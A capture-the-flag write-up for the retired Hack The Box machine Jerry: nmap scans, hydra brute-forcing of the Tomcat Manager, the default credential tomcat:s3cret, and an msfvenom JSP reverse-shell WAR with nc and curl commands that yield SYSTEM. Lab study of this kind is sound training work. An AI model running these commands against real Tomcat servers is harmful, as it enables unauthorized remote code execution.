HTB Jerry: A Tomcat Manager and One Guessed Password • srdusr

Target: Hack The Box, retired. Windows running Apache Tomcat, at 10.10.10.95.

Possibly the easiest box on HTB, rooted in about six minutes. It teaches one thing worth keeping: a Tomcat Manager with default credentials is remote code execution as whatever user runs Tomcat, and on Windows that is usually SYSTEM. One service, one guessed password, one WAR file, done.

Attack path

Tomcat on 8080
      |
      v
/manager/html  (401, a login rather than a dead end)
      |
      v
default credentials tomcat:s3cret
      |
      v
deploy a malicious WAR  -->  NT AUTHORITY\SYSTEM

Enumeration

export TARGET=10.10.10.95
nmap -p- --min-rate 5000 -oA scans/all-ports "$TARGET"
nmap -sC -sV -p8080 -oA scans/services "$TARGET"

Only 8080, running Apache Tomcat. The Manager app is at /manager/html and returns a 401. That is a login, not a dead end.

Foothold: default credentials

Tomcat ships example credentials that installers routinely forget to remove. tomcat:s3cret is on every default-credential list, so work the list rather than guessing.

hydra -L users.txt -P pass.txt "$TARGET" -s 8080 http-get /manager/html

tomcat:s3cret works.

Code execution: deploy a WAR

The Manager’s “WAR file to deploy” field runs whatever you upload. A WAR is a zipped Java web application, and a JSP inside it executes on request.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.24 LPORT=443 -f war -o rev.war

Upload it through the Manager, then request the deployed app to trigger it:

nc -lvnp 443
curl "http://$TARGET:8080/rev/"

Tomcat runs as SYSTEM here, so the shell is SYSTEM immediately. There is no privilege escalation stage.

Flags

Jerry stores both together, which is unusual:

C:\Users\Administrator\Desktop\flags\2 for the price of 1.txt

Worth knowing